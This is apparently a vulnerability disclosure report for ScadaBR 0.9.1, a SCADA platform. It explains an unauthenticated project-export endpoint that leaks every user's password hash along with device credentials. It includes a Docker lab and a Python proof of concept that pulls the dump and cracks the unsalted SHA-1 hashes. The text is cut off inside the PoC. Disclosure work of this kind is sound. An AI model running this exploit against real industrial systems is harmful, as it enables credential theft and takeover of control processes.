| Descrição | ## Details / summary
An unauthenticated GET request to /ScadaBR/export_project.htm returns a ZIP archive whose json_project.txt is a full system configuration dump. It includes every user account with its password hash, all data source configurations (which embed device and protocol credentials), and all system settings. No authentication is required. Disclosing this to an unauthenticated caller is the vulnerability.
Root cause:
- The IsLoggedIn servlet filter (com.serotonin.mango.web.filter.NormalLoggedInFilter) is mapped only to *.shtm in WEB-INF/web.xml, so the *.htm export endpoint is never evaluated by it.
- The endpoint is a plain *.htm Spring controller (projectExporterController, class br.org.scadabr.web.mvc.controller.ProjectExporterController) registered in WEB-INF/springDispatcher-servlet.xml.
Call path, with no permission check anywhere pre-1.2.0:
```
ProjectExporterController.handleRequestInternal
-> ZIPProjectManager.exportProject (no user reference, no permission check)
-> buildJSONFile(...) (hardcodes users = true)
-> EmportDwr.createExportJSON(...) (pre-1.2.0: no admin check)
```
`User.password` is annotated `@JsonRemoteProperty`, so it is serialized into the dump. Note the asymmetry: the import path (`EmportDwr.importDataImpl`) is gated with `Permissions.ensureAdmin()`; only the export path is left unprotected.
## Impact:
Unauthenticated, single-request disclosure of all users' password hashes, all data source and device credentials, and all system settings. This leads to admin account takeover and, given ScadaBR's authenticated scripting and process features, full compromise of the SCADA host and the controlled process. No victim interaction and no reliance on default credentials.
Compounding weakness: password hashes are stored as unsalted SHA-1, so once the dump is obtained, offline recovery of the admin password is straightforward.
## Distinct from prior work (duplicate pre-empt)
- The 2017 Metasploit module (auxiliary/admin/http/scadabr_credential_dump) reaches the same data but authenticated: it logs in with default admin/admin and invokes the EmportDwr.createExportData DWR method. Its stated issue is that the method is callable by any authenticated user regardless of privilege, an authorization flaw. It carries no CVE.
- This report is the unauthenticated reach, via the export_project.htm
## Verification
Verified end to end against the official, byte-for-byte unmodified ScadaBR 0.9.1 SourceForge WAR (sha256 879f2830862a49f549dc820aebd1d9f2265977caafd8315f6001f7e0fbe95f8c), run unmodified in a period Tomcat 7 / JRE 7 container. A self-contained Docker lab plus proof-of-concept (POC_export_unauth.py, no credentials required) is available. A patched build (>= 1.2.0) returns HTTP 500.
## References
- Fix commit: ScadaBR c852b49 (2021-06-12)
- Related but distinct: CISA advisory ICSA-26-139-03
- Related but distinct: CVE-2026-8602, CVE-2026-8603, CVE-2026-8604, CVE-2026-8605 (scoped to 1.2.0)
- Prior art (authenticated variant, no CVE): Metasploit auxiliary/admin/http/scadabr_credential_dump
## Disclosure / coordination note for moderation
Vendor is unresponsive. CISA's own ICSA-26-139-03 states, for each of its four ScadaBR CVEs, that the vendor has not responded to requests to work with CISA to mitigate. Direct vendor contact is therefore not a viable channel. Requesting coordinated disclosure and a CVE for the affected pre-1.2.0 line.
## Reason for Contacting VulDB
Beccause I am not an American citizen, I am unable to register an account with CISA. As such, I have opted for VulDB.
## Docker Compose
```
# Isolated lab for the ScadaBR 0.9.1 unauthenticated project-export credential disclosure.
#
# Runs the official, UNMODIFIED ScadaBR 0.9.1 release WAR as-is, mounted (read-only) into a
# period-appropriate Tomcat 7 / JRE 7 container -- the runtime era ScadaBR 0.9.1 shipped for.
# Nothing inside the WAR is altered. Verify the artifact yourself:
# sha256sum ScadaBR-0.9.1.war
# -> 879f2830862a49f549dc820aebd1d9f2265977caafd8315f6001f7e0fbe95f8c
#
# docker compose up -d
# docker compose logs -f scadabr # wait for "Server startup in ... ms"
# # then run the PoC (see PREP_ENVIRONMENT.md) -- NO credentials needed:
# python3 POC_export_unauth.py -t http://127.0.0.1:8085/ScadaBR
# docker compose down # stop and wipe (the Derby DB is ephemeral to the container)
#
# Web UI : http://127.0.0.1:8085/ScadaBR (default admin/admin -- not needed for the PoC)
# Affected release: ScadaBR 0.9.1 (official SourceForge WAR). Fixed in 1.2.0 (commit c852b49).
services:
scadabr:
image: tomcat:7-jre7
container_name: scadabr-091
environment:
JAVA_OPTS: "-Djava.awt.headless=true"
volumes:
- ./ScadaBR-0.9.1.war:/usr/local/tomcat/webapps/ScadaBR.war:ro
ports:
- "127.0.0.1:8085:8080"
```
## POC
```
#!/usr/bin/env python3
"""
ScadaBR <= 1.1 — Unauthenticated project-export credential disclosure (export_project.htm).
An unauthenticated GET /ScadaBR/export_project.htm returns a ZIP whose json_project.txt is a full
system-configuration dump, including every user account with its (unsalted SHA-1, Base64) password
hash, plus data-source configurations and system settings. No authentication is required:
- the servlet login filter (NormalLoggedInFilter / IsLoggedIn) is mapped in web.xml to *.shtm only,
so the *.htm export endpoint is never seen by it; and
- pre-1.2.0, EmportDwr.createExportJSON performs no in-code admin check.
This PoC sends the request with NO session cookie, extracts the disclosed user hashes, and (for
demonstration) cracks them against a tiny wordlist. Fixed in ScadaBR 1.2.0 (commit c852b49, which
added Permissions.ensureAdmin to createExportJSON); patched builds return HTTP 500 "Not logged in".
Usage:
python3 POC_export_unauth.py -t http://127.0.0.1:8085/ScadaBR
python3 POC_export_unauth.py -t http://127.0.0.1:8085/ScadaBR --proxy
"""
import argparse
import base64
import hashlib
import io
import json
import zipfile
import urllib3
from requests import Session
PROXIES = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
WORDLIST = ["admin", "password", "123456", "root", "scada", "operator",
"Password1", "admin123", "changeme", "letmein"]
class Exploit:
def __init__(self, target, use_proxy=False, verify_ssl=True):
self.target = target.rstrip('/')
self.session = Session()
self.session.headers.update({"User-Agent": "scadabr-export-poc"})
if use_proxy:
print(f"[*] Proxying requests through Burp Suite at {PROXIES['http']}")
self.session.proxies.update(PROXIES)
self.session.verify = verify_ssl
if not verify_ssl:
print("[*] SSL certificate verification disabled")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def export(self):
"""The whole exploit: one GET, NO session cookie."""
params = {
"projectName": "poc", "projectDescription": "x", "pointValuesMaxZip": "0",
"includePointValues": "false", "includeUploadsFolder": "false",
"includeGraphicsFolder": "false",
}
return self.session.get(f"{self.target}/export_project.htm", params=params, timeout=30)
@staticmethod
def crack(b64hash):
"""ScadaBR stores passwords as unsalted SHA-1 (Base64) -> trivially reversible."""
try:
target = base64.b64decode(b64hash).hex()
except Exception: # noqa: BLE001
return None
for w in WORDLIST:
if hashlib.sha1(w.encode()).hexdigest() == target:
return w
return None
def run(self):
print(f"[*] Target : {self.target}")
print("[*] Sending UNAUTHENTICATED GET /export_project.htm (no session cookie) ...")
r = self.export()
print(f" -> HTTP {r.status_code}, {len(r.content)} bytes, "
f"Content-Type: {r.headers.get('Content-Type', '?')}")
if r.status_code != 200 or len(r.content) < 100:
print("[!] Not the expected ZIP. A patched build (>= 1.2.0) returns HTTP 500 "
"'Not logged in'; this target may be patched or not ScadaBR.")
return
try:
zf = zipfile.ZipFile(io.BytesIO(r.content))
except zipfile.BadZipFile:
print("[!] Response body is not a ZIP archive."); return
if "json_project.txt" not in zf.namelist():
print(f"[!] No json_project.txt in the export (entries: {zf.namelist()})."); return
data = json.loads(zf.read("json_project.txt"))
users = data.get("users", data if isinstance(data, list) else [])
print(f"[+] Unauthenticated configuration dump retrieved. Users disclosed: {len(users)}")
for u in users:
name, h, adm = u.get("username"), u.get("pa
```
|
|---|